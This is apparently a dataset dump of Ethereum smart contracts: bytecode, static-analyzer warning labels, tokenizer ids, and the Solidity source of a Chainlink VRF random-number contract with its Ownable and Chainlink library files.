0x608060405234801561001057600080fd5b50600436106100725760003560e01c806378e7e3d11161005057806378e7e3d1146100a55780639f1d0f59146100ad578063daec383d146100ce57610072565b806322a88c091461007757806341495591146100955780636b2ace871461009d575b600080fd5b61007f6100d6565b60405161008c9190610753565b60405180910390f35b61007f6100ee565b61007f610106565b61007f61012a565b6100c06100bb366004610685565b610142565b60405161008c9291906108fc565b61007f610593565b735a6a4d54456819380173272a5e8e9b9904bdf41b81565b73a258c4606ca8206d8aa700ce2143d7db854d168c81565b7f000000000000000000000000f5bce5077908a1b7370b9ae04adc565ebd64396681565b73dac17f958d2ee523a2206206994597c13d831ec781565b60008060007f000000000000000000000000f5bce5077908a1b7370b9ae04adc565ebd6439666001600160a01b03166397da6d307399d8a9c45b2eca8864373a26d1459e3dff1e17f330306000896040518663ffffffff1660e01b81526004016101b0959493929190610767565b6040805180830381600087803b1580156101c957600080fd5b505af11580156101dd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102019190610730565b506040516322770cc360e11b8152909150600090735a6a4d54456819380173272a5e8e9b9904bdf41b906344ee19869061025c908490600390879083907306da0fd433c1a5d7a4faa01111c044910a1845539060040161079b565b602060405180830381600087803b15801561027657600080fd5b505af115801561028a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102ae9190610718565b90506000807306da0fd433c1a5d7a4faa01111c044910a1845536001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561030057600080fd5b505afa158015610314573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061033891906106c4565b506dffffffffffffffffffffffffffff1691506dffffffffffffffffffffffffffff169150600061036a8483856105ab565b604080516000808252602082019283905263022c0d9f60e01b9092529192507306da0fd433c1a5d7a4faa01111c044910a1845539163022c0d9f916103b79185919030906024810161088a565b600060405180830381600087803b1580156103d157600080fd5b505af11580156103e5573d6000803e3d6000fd5b5050604051636e553f6560e01b81526000925073a258c4606ca8206d8aa700ce2143d7db854d168c9150636e553f659061044790600019907f000000000000000000000000f5bce5077908a1b7370b9ae04adc565ebd64396690600401610873565b602060405180830381600087803b15801561046157600080fd5b505af1158015610475573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104999190610718565b90507f000000000000000000000000f5bce5077908a1b7370b9ae04adc565ebd6439666001600160a01b03166302b9446c73a258c4606ca8206d8aa700ce2143d7db854d168c7f000000000000000000000000f5bce5077908a1b7370b9ae04adc565ebd6439668e8560006040518663ffffffff1660e01b8152600401610524959493929190610767565b6040805180830381600087803b15801561053d57600080fd5b505af1158015610551573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105759190610730565b97506105839050878b6105f9565b9750505050505050935093915050565b7399d8a9c45b2eca8864373a26d1459e3dff1e17f381565b6000806105ba856103e561062b565b905060006105c8828561062b565b905060006105e2836105dc886103e861062b565b90610662565b90508082816105ed57fe5b04979650505050505050565b808203828111156106255760405162461bcd60e51b815260040161061c906107ce565b60405180910390fd5b92915050565b60008115806106465750508082028282828161064357fe5b04145b6106255760405162461bcd60e51b815260040161061c9061083c565b818101818110156106255760405162461bcd60e51b815260040161061c90610805565b600080600060608486031215610699578283fd5b83356001600160a01b03811681146106af578384fd5b95602085013595506040909401359392505050565b6000806000606084860312156106d8578283fd5b83516106e38161090a565b60208501519093506106f48161090a565b604085015190925063ffffffff8116811461070d578182fd5b809150509250925092565b600060208284031215610729578081fd5b5051919050565b60008060408385031215610742578182fd5b505080516020909101519092909150565b6001600160a01b0391909116815260200190565b6001600160a01b03958616815293851660208501529190931660408301526060820192909252608081019190915260a00190565b600f95860b81529390940b6020840152604083019190915260608201526001600160a01b03909116608082015260a00190565b60208082526015908201527f426f72696e674d6174683a20556e646572666c6f770000000000000000000000604082015260600190565b60208082526018908201527f426f72696e674d6174683a20416464204f766572666c6f770000000000000000604082015260600190565b60208082526018908201527f426f72696e674d6174683a204d756c204f766572666c6f770000000000000000604082015260600190565b9182526001600160a01b0316602082015260400190565b6000858252602085818401526001600160a01b0385166040840152608060608401528351806080850152825b818110156108d25785810183015185820160a0015282016108b6565b818111156108e3578360a083870101525b50601f01601f19169290920160a0019695505050505050565b918252602082015260400190565b6dffffffffffffffffffffffffffff8116811461092657600080fd5b5056fea2646970667358221220044e821b19b92ceab649b4691276b047a3619e4241fd1f3c899a8c8733ea962464736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'erc20-interface', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 20961, 27717, 2497, 29097, 21084, 2581, 2050, 2475, 7875, 2549, 2278, 2546, 2850, 2683, 20958, 2546, 23632, 2487, 2546, 2549, 7875, 2546, 2581, 26224, 19797, 2497, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 3816, 1013, 1013, 5371, 1030, 11771, 26775, 22571, 3406, 1013, 11771, 1011, 5024, 3012, 1013, 8311, 1013, 8860, 1013, 11771, 18900, 2232, 1012, 14017, 1030, 1058, 2487, 1012, 1016, 1012, 1016, 1013, 1013, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1020, 1012, 2260, 1025, 1013, 1013, 1013, 1030, 5060, 1037, 3075, 2005, 4488, 2058, 12314, 1011, 1013, 2104, 12314, 1011, 3647, 8785, 1010, 1013, 1013, 1013, 7172, 2007, 12476, 2791, 2013, 1997, 4830, 9397, 6979, 2497, 1006, 16770, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,565
0x970012065Fb5302923B2148d95cF1f45A1292716
// SPDX-License-Identifier: MIT pragma solidity >=0.7.0 <0.9.0; import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract ChainlinkVRF is VRFConsumerBase, Ownable { bytes32 internal keyHash; uint256 internal fee; mapping (uint => uint256) public chainlinkResults; mapping (uint => uint256[]) internal randomResults; mapping (uint => uint256) public blockNumberResults; mapping (uint => bool) public nonceCalculated; uint public nonce; event fulfillComplete(uint256 _randomNumber, bytes32 _requestedId, uint _nonce); constructor() VRFConsumerBase( 0xf0d54349aDdcf704F77AE15b96510dEA15cb7952, // VRF Coordinator 0x514910771AF9Ca656af840dff83E8264EcF986CA // LINK Token ) { keyHash = 0xAA77729D3466CA35AE8D28B3BBAC7CC36A5031EFDC430821C02BC31A238AF445; fee = 2 * 10 ** 18; // 0.1 LINK (Varies by network) } /** * Requests randomness */ function getRandomNumber() public onlyOwner returns (bytes32 requestId) { require(LINK.balanceOf(address(this)) >= fee, "Not enough LINK - fill contract with faucet"); requestId = requestRandomness(keyHash, fee); return requestId; } /** * Callback function used by VRF Coordinator */ function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override { nonce++; chainlinkResults[nonce] = randomness; blockNumberResults[nonce]=block.number; emit fulfillComplete(randomness, requestId, nonce); } /** * @notice calculate 10 numbers. * @param useCurrNonce if for current nonce, then _nonce is ignored * @param _nonce specified nonce to calculate for if not using current nonce */ function calculateNumbers(bool useCurrNonce, uint _nonce) public onlyOwner{ uint randomNumber; uint currNonce; if(useCurrNonce){ require(nonce > 0, "have not ran VRF"); randomNumber = chainlinkResults[nonce]; currNonce = nonce; } else{ require(_nonce > 0 && _nonce <= nonce, "invalid nonce"); randomNumber = chainlinkResults[_nonce]; currNonce = _nonce; } require(!nonceCalculated[currNonce], "nonce already used for calculation"); uint currentIndex = 0; uint modulus = 100000; uint target; uint256[] memory numbersArray = new uint256[](10); while(currentIndex < 10){ target = (uint256(keccak256(abi.encode(randomNumber, currentIndex))) % modulus)+1; numbersArray[currentIndex] = target; currentIndex++; } randomResults[currNonce] = numbersArray; nonceCalculated[currNonce] = true; } function getArrayByNonce(uint _nonce) public view returns(uint256[] memory){ return randomResults[_nonce]; } function viewLinkBalance() public view returns(uint256){ return LINK.balanceOf(address(this)); } function setFee(uint _newFee) external onlyOwner{ fee = _newFee; } function setKeyHash(bytes32 _newHash) external onlyOwner{ keyHash = _newHash; } function withdrawLink() onlyOwner external { LINK.transfer(owner(), LINK.balanceOf(address(this))); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./interfaces/LinkTokenInterface.sol"; import "./VRFRequestIDBase.sol"; /** **************************************************************************** * @notice Interface for contracts using VRF randomness * ***************************************************************************** * @dev PURPOSE * * @dev Reggie the Random Oracle (not his real job) wants to provide randomness * @dev to Vera the verifier in such a way that Vera can be sure he's not * @dev making his output up to suit himself. Reggie provides Vera a public key * @dev to which he knows the secret key. Each time Vera provides a seed to * @dev Reggie, he gives back a value which is computed completely * @dev deterministically from the seed and the secret key. * * @dev Reggie provides a proof by which Vera can verify that the output was * @dev correctly computed once Reggie tells it to her, but without that proof, * @dev the output is indistinguishable to her from a uniform random sample * @dev from the output space. * * @dev The purpose of this contract is to make it easy for unrelated contracts * @dev to talk to Vera the verifier about the work Reggie is doing, to provide * @dev simple access to a verifiable source of randomness. * ***************************************************************************** * @dev USAGE * * @dev Calling contracts must inherit from VRFConsumerBase, and can * @dev initialize VRFConsumerBase's attributes in their constructor as * @dev shown: * * @dev contract VRFConsumer { * @dev constuctor(<other arguments>, address _vrfCoordinator, address _link) * @dev VRFConsumerBase(_vrfCoordinator, _link) public { * @dev <initialization with other arguments goes here> * @dev } * @dev } * * @dev The oracle will have given you an ID for the VRF keypair they have * @dev committed to (let's call it keyHash), and have told you the minimum LINK * @dev price for VRF service. Make sure your contract has sufficient LINK, and * @dev call requestRandomness(keyHash, fee, seed), where seed is the input you * @dev want to generate randomness from. * * @dev Once the VRFCoordinator has received and validated the oracle's response * @dev to your request, it will call your contract's fulfillRandomness method. * * @dev The randomness argument to fulfillRandomness is the actual random value * @dev generated from your seed. * * @dev The requestId argument is generated from the keyHash and the seed by * @dev makeRequestId(keyHash, seed). If your contract could have concurrent * @dev requests open, you can use the requestId to track which seed is * @dev associated with which randomness. See VRFRequestIDBase.sol for more * @dev details. (See "SECURITY CONSIDERATIONS" for principles to keep in mind, * @dev if your contract could have multiple requests in flight simultaneously.) * * @dev Colliding `requestId`s are cryptographically impossible as long as seeds * @dev differ. (Which is critical to making unpredictable randomness! See the * @dev next section.) * * ***************************************************************************** * @dev SECURITY CONSIDERATIONS * * @dev A method with the ability to call your fulfillRandomness method directly * @dev could spoof a VRF response with any random value, so it's critical that * @dev it cannot be directly called by anything other than this base contract * @dev (specifically, by the VRFConsumerBase.rawFulfillRandomness method). * * @dev For your users to trust that your contract's random behavior is free * @dev from malicious interference, it's best if you can write it so that all * @dev behaviors implied by a VRF response are executed *during* your * @dev fulfillRandomness method. If your contract must store the response (or * @dev anything derived from it) and use it later, you must ensure that any * @dev user-significant behavior which depends on that stored value cannot be * @dev manipulated by a subsequent VRF request. * * @dev Similarly, both miners and the VRF oracle itself have some influence * @dev over the order in which VRF responses appear on the blockchain, so if * @dev your contract could have multiple VRF requests in flight simultaneously, * @dev you must ensure that the order in which the VRF responses arrive cannot * @dev be used to manipulate your contract's user-significant behavior. * * @dev Since the ultimate input to the VRF is mixed with the block hash of the * @dev block in which the request is made, user-provided seeds have no impact * @dev on its economic security properties. They are only included for API * @dev compatability with previous versions of this contract. * * @dev Since the block hash of the block which contains the requestRandomness * @dev call is mixed into the input to the VRF *last*, a sufficiently powerful * @dev miner could, in principle, fork the blockchain to evict the block * @dev containing the request, forcing the request to be included in a * @dev different block with a different hash, and therefore a different input * @dev to the VRF. However, such an attack would incur a substantial economic * @dev cost. This cost scales with the number of blocks the VRF oracle waits * @dev until it calls responds to a request. */ abstract contract VRFConsumerBase is VRFRequestIDBase { /** * @notice fulfillRandomness handles the VRF response. Your contract must * @notice implement it. See "SECURITY CONSIDERATIONS" above for important * @notice principles to keep in mind when implementing your fulfillRandomness * @notice method. * * @dev VRFConsumerBase expects its subcontracts to have a method with this * @dev signature, and will call it once it has verified the proof * @dev associated with the randomness. (It is triggered via a call to * @dev rawFulfillRandomness, below.) * * @param requestId The Id initially returned by requestRandomness * @param randomness the VRF output */ function fulfillRandomness( bytes32 requestId, uint256 randomness ) internal virtual; /** * @dev In order to keep backwards compatibility we have kept the user * seed field around. We remove the use of it because given that the blockhash * enters later, it overrides whatever randomness the used seed provides. * Given that it adds no security, and can easily lead to misunderstandings, * we have removed it from usage and can now provide a simpler API. */ uint256 constant private USER_SEED_PLACEHOLDER = 0; /** * @notice requestRandomness initiates a request for VRF output given _seed * * @dev The fulfillRandomness method receives the output, once it's provided * @dev by the Oracle, and verified by the vrfCoordinator. * * @dev The _keyHash must already be registered with the VRFCoordinator, and * @dev the _fee must exceed the fee specified during registration of the * @dev _keyHash. * * @dev The _seed parameter is vestigial, and is kept only for API * @dev compatibility with older versions. It can't *hurt* to mix in some of * @dev your own randomness, here, but it's not necessary because the VRF * @dev oracle will mix the hash of the block containing your request into the * @dev VRF seed it ultimately uses. * * @param _keyHash ID of public key against which randomness is generated * @param _fee The amount of LINK to send with the request * * @return requestId unique ID for this request * * @dev The returned requestId can be used to distinguish responses to * @dev concurrent requests. It is passed as the first argument to * @dev fulfillRandomness. */ function requestRandomness( bytes32 _keyHash, uint256 _fee ) internal returns ( bytes32 requestId ) { LINK.transferAndCall(vrfCoordinator, _fee, abi.encode(_keyHash, USER_SEED_PLACEHOLDER)); // This is the seed passed to VRFCoordinator. The oracle will mix this with // the hash of the block containing this request to obtain the seed/input // which is finally passed to the VRF cryptographic machinery. uint256 vRFSeed = makeVRFInputSeed(_keyHash, USER_SEED_PLACEHOLDER, address(this), nonces[_keyHash]); // nonces[_keyHash] must stay in sync with // VRFCoordinator.nonces[_keyHash][this], which was incremented by the above // successful LINK.transferAndCall (in VRFCoordinator.randomnessRequest). // This provides protection against the user repeating their input seed, // which would result in a predictable/duplicate output, if multiple such // requests appeared in the same block. nonces[_keyHash] = nonces[_keyHash] + 1; return makeRequestId(_keyHash, vRFSeed); } LinkTokenInterface immutable internal LINK; address immutable private vrfCoordinator; // Nonces for each VRF key from which randomness has been requested. // // Must stay in sync with VRFCoordinator[_keyHash][this] mapping(bytes32 /* keyHash */ => uint256 /* nonce */) private nonces; /** * @param _vrfCoordinator address of VRFCoordinator contract * @param _link address of LINK token contract * * @dev https://docs.chain.link/docs/link-token-contracts */ constructor( address _vrfCoordinator, address _link ) { vrfCoordinator = _vrfCoordinator; LINK = LinkTokenInterface(_link); } // rawFulfillRandomness is called by VRFCoordinator when it receives a valid VRF // proof. rawFulfillRandomness then calls fulfillRandomness, after validating // the origin of the call function rawFulfillRandomness( bytes32 requestId, uint256 randomness ) external { require(msg.sender == vrfCoordinator, "Only VRFCoordinator can fulfill"); fulfillRandomness(requestId, randomness); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract VRFRequestIDBase { /** * @notice returns the seed which is actually input to the VRF coordinator * * @dev To prevent repetition of VRF output due to repetition of the * @dev user-supplied seed, that seed is combined in a hash with the * @dev user-specific nonce, and the address of the consuming contract. The * @dev risk of repetition is mostly mitigated by inclusion of a blockhash in * @dev the final seed, but the nonce does protect against repetition in * @dev requests which are included in a single block. * * @param _userSeed VRF seed input provided by user * @param _requester Address of the requesting contract * @param _nonce User-specific nonce at the time of the request */ function makeVRFInputSeed( bytes32 _keyHash, uint256 _userSeed, address _requester, uint256 _nonce ) internal pure returns ( uint256 ) { return uint256(keccak256(abi.encode(_keyHash, _userSeed, _requester, _nonce))); } /** * @notice Returns the id for this request * @param _keyHash The serviceAgreement ID to be used for this request * @param _vRFInputSeed The seed to be passed directly to the VRF * @return The id for this request * * @dev Note that _vRFInputSeed is not the seed passed by the consuming * @dev contract, but the one generated by makeVRFInputSeed */ function makeRequestId( bytes32 _keyHash, uint256 _vRFInputSeed ) internal pure returns ( bytes32 ) { return keccak256(abi.encodePacked(_keyHash, _vRFInputSeed)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface LinkTokenInterface { function allowance( address owner, address spender ) external view returns ( uint256 remaining ); function approve( address spender, uint256 value ) external returns ( bool success ); function balanceOf( address owner ) external view returns ( uint256 balance ); function decimals() external view returns ( uint8 decimalPlaces ); function decreaseApproval( address spender, uint256 addedValue ) external returns ( bool success ); function increaseApproval( address spender, uint256 subtractedValue ) external; function name() external view returns ( string memory tokenName ); function symbol() external view returns ( string memory tokenSymbol ); function totalSupply() external view returns ( uint256 totalTokensIssued ); function transfer( address to, uint256 value ) external returns ( bool success ); function transferAndCall( address to, uint256 value, bytes calldata data ) external returns ( bool success ); function transferFrom( address from, address to, uint256 value ) external returns ( bool success ); }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80638dc654a211610097578063b293f5fb11610066578063b293f5fb1461025e578063dbdff2c11461027c578063f2fde38b1461029a578063f9762d2d146102b6576100f5565b80638dc654a2146101fe57806394985ddd146102085780639854471014610224578063affed0e014610240576100f5565b8063715018a6116100d3578063715018a6146101765780637883d674146101805780637ce0ff16146101b05780638da5cb5b146101e0576100f5565b80630552589c146100fa5780632718edba1461012a57806369fe0e2d1461015a575b600080fd5b610114600480360381019061010f91906112f6565b6102d2565b60405161012191906117c1565b60405180910390f35b610144600480360381019061013f91906112f6565b6102ea565b60405161015191906117c1565b60405180910390f35b610174600480360381019061016f91906112f6565b610302565b005b61017e610388565b005b61019a600480360381019061019591906112f6565b610410565b6040516101a7919061161b565b60405180910390f35b6101ca60048036038101906101c591906112f6565b61047b565b6040516101d7919061163d565b60405180910390f35b6101e861049b565b6040516101f59190611599565b60405180910390f35b6102066104c5565b005b610222600480360381019061021d91906112b6565b6106a0565b005b61023e60048036038101906102399190611289565b61073c565b005b6102486107c2565b60405161025591906117c1565b60405180910390f35b6102666107c8565b60405161027391906117c1565b60405180910390f35b610284610878565b6040516102919190611658565b60405180910390f35b6102b460048036038101906102af91906111ef565b6109f6565b005b6102d060048036038101906102cb9190611249565b610aee565b005b60046020528060005260406000206000915090505481565b60066020528060005260406000206000915090505481565b61030a610dde565b73ffffffffffffffffffffffffffffffffffffffff1661032861049b565b73ffffffffffffffffffffffffffffffffffffffff161461037e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161037590611761565b60405180910390fd5b8060038190555050565b610390610dde565b73ffffffffffffffffffffffffffffffffffffffff166103ae61049b565b73ffffffffffffffffffffffffffffffffffffffff1614610404576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103fb90611761565b60405180910390fd5b61040e6000610de6565b565b60606005600083815260200190815260200160002080548060200260200160405190810160405280929190818152602001828054801561046f57602002820191906000526020600020905b81548152602001906001019080831161045b575b50505050509050919050565b60076020528060005260406000206000915054906101000a900460ff1681565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6104cd610dde565b73ffffffffffffffffffffffffffffffffffffffff166104eb61049b565b73ffffffffffffffffffffffffffffffffffffffff1614610541576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161053890611761565b60405180910390fd5b7f000000000000000000000000514910771af9ca656af840dff83e8264ecf986ca73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb61058561049b565b7f000000000000000000000000514910771af9ca656af840dff83e8264ecf986ca73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016105de9190611599565b60206040518083038186803b1580156105f657600080fd5b505afa15801561060a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061062e9190611323565b6040518363ffffffff1660e01b815260040161064b9291906115b4565b602060405180830381600087803b15801561066557600080fd5b505af1158015610679573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061069d919061121c565b50565b7f000000000000000000000000f0d54349addcf704f77ae15b96510dea15cb795273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461072e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072590611781565b60405180910390fd5b6107388282610eac565b5050565b610744610dde565b73ffffffffffffffffffffffffffffffffffffffff1661076261049b565b73ffffffffffffffffffffffffffffffffffffffff16146107b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107af90611761565b60405180910390fd5b8060028190555050565b60085481565b60007f000000000000000000000000514910771af9ca656af840dff83e8264ecf986ca73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016108239190611599565b60206040518083038186803b15801561083b57600080fd5b505afa15801561084f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108739190611323565b905090565b6000610882610dde565b73ffffffffffffffffffffffffffffffffffffffff166108a061049b565b73ffffffffffffffffffffffffffffffffffffffff16146108f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ed90611761565b60405180910390fd5b6003547f000000000000000000000000514910771af9ca656af840dff83e8264ecf986ca73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016109529190611599565b60206040518083038186803b15801561096a57600080fd5b505afa15801561097e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109a29190611323565b10156109e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109da90611701565b60405180910390fd5b6109f1600254600354610f39565b905090565b6109fe610dde565b73ffffffffffffffffffffffffffffffffffffffff16610a1c61049b565b73ffffffffffffffffffffffffffffffffffffffff1614610a72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6990611761565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610ae2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad9906116e1565b60405180910390fd5b610aeb81610de6565b50565b610af6610dde565b73ffffffffffffffffffffffffffffffffffffffff16610b1461049b565b73ffffffffffffffffffffffffffffffffffffffff1614610b6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6190611761565b60405180910390fd5b6000808315610bda57600060085411610bb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610baf906117a1565b60405180910390fd5b6004600060085481526020019081526020016000205491506008549050610c45565b600083118015610bec57506008548311155b610c2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2290611721565b60405180910390fd5b600460008481526020019081526020016000205491508290505b6007600082815260200190815260200160002060009054906101000a900460ff1615610ca6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9d90611741565b60405180910390fd5b600080620186a09050600080600a67ffffffffffffffff811115610ccd57610ccc611a98565b5b604051908082528060200260200182016040528015610cfb5781602001602082028036833780820191505090505b5090505b600a841015610d80576001838786604051602001610d1e929190611813565b6040516020818303038152906040528051906020012060001c610d4191906119da565b610d4b91906118a2565b915081818581518110610d6157610d60611a69565b5b6020026020010181815250508380610d789061197d565b945050610cff565b80600560008781526020019081526020016000209080519060200190610da7929190611107565b5060016007600087815260200190815260200160002060006101000a81548160ff0219169083151502179055505050505050505050565b600033905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60086000815480929190610ebf9061197d565b9190505550806004600060085481526020019081526020016000208190555043600660006008548152602001908152602001600020819055507fc0e8d52addf0e06e5321841df3c63be7ce41713fbbc7ec90609c6910e5fa3b9b8183600854604051610f2d939291906117dc565b60405180910390a15050565b60007f000000000000000000000000514910771af9ca656af840dff83e8264ecf986ca73ffffffffffffffffffffffffffffffffffffffff16634000aea07f000000000000000000000000f0d54349addcf704f77ae15b96510dea15cb795284866000604051602001610fad929190611673565b6040516020818303038152906040526040518463ffffffff1660e01b8152600401610fda939291906115dd565b602060405180830381600087803b158015610ff457600080fd5b505af1158015611008573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102c919061121c565b50600061104e8460003060008089815260200190815260200160002054611098565b905060016000808681526020019081526020016000205461106f91906118a2565b6000808681526020019081526020016000208190555061108f84826110d4565b91505092915050565b6000848484846040516020016110b1949392919061169c565b6040516020818303038152906040528051906020012060001c9050949350505050565b600082826040516020016110e992919061156d565b60405160208183030381529060405280519060200120905092915050565b828054828255906000526020600020908101928215611143579160200282015b82811115611142578251825591602001919060010190611127565b5b5090506111509190611154565b5090565b5b8082111561116d576000816000905550600101611155565b5090565b60008135905061118081611c6e565b92915050565b60008135905061119581611c85565b92915050565b6000815190506111aa81611c85565b92915050565b6000813590506111bf81611c9c565b92915050565b6000813590506111d481611cb3565b92915050565b6000815190506111e981611cb3565b92915050565b60006020828403121561120557611204611ac7565b5b600061121384828501611171565b91505092915050565b60006020828403121561123257611231611ac7565b5b60006112408482850161119b565b91505092915050565b600080604083850312156112605761125f611ac7565b5b600061126e85828601611186565b925050602061127f858286016111c5565b9150509250929050565b60006020828403121561129f5761129e611ac7565b5b60006112ad848285016111b0565b91505092915050565b600080604083850312156112cd576112cc611ac7565b5b60006112db858286016111b0565b92505060206112ec858286016111c5565b9150509250929050565b60006020828403121561130c5761130b611ac7565b5b600061131a848285016111c5565b91505092915050565b60006020828403121561133957611338611ac7565b5b6000611347848285016111da565b91505092915050565b600061135c8383611538565b60208301905092915050565b611371816118f8565b82525050565b60006113828261184c565b61138c818561186f565b93506113978361183c565b8060005b838110156113c85781516113af8882611350565b97506113ba83611862565b92505060018101905061139b565b5085935050505092915050565b6113de8161190a565b82525050565b6113ed81611916565b82525050565b6114046113ff82611916565b6119c6565b82525050565b600061141582611857565b61141f8185611880565b935061142f81856020860161194a565b61143881611acc565b840191505092915050565b6000611450602683611891565b915061145b82611add565b604082019050919050565b6000611473602b83611891565b915061147e82611b2c565b604082019050919050565b6000611496600d83611891565b91506114a182611b7b565b602082019050919050565b60006114b9602283611891565b91506114c482611ba4565b604082019050919050565b60006114dc602083611891565b91506114e782611bf3565b602082019050919050565b60006114ff601f83611891565b915061150a82611c1c565b602082019050919050565b6000611522601083611891565b915061152d82611c45565b602082019050919050565b61154181611940565b82525050565b61155081611940565b82525050565b61156761156282611940565b6119d0565b82525050565b600061157982856113f3565b6020820191506115898284611556565b6020820191508190509392505050565b60006020820190506115ae6000830184611368565b92915050565b60006040820190506115c96000830185611368565b6115d66020830184611547565b9392505050565b60006060820190506115f26000830186611368565b6115ff6020830185611547565b8181036040830152611611818461140a565b9050949350505050565b600060208201905081810360008301526116358184611377565b905092915050565b600060208201905061165260008301846113d5565b92915050565b600060208201905061166d60008301846113e4565b92915050565b600060408201905061168860008301856113e4565b6116956020830184611547565b9392505050565b60006080820190506116b160008301876113e4565b6116be6020830186611547565b6116cb6040830185611368565b6116d86060830184611547565b95945050505050565b600060208201905081810360008301526116fa81611443565b9050919050565b6000602082019050818103600083015261171a81611466565b9050919050565b6000602082019050818103600083015261173a81611489565b9050919050565b6000602082019050818103600083015261175a816114ac565b90509190505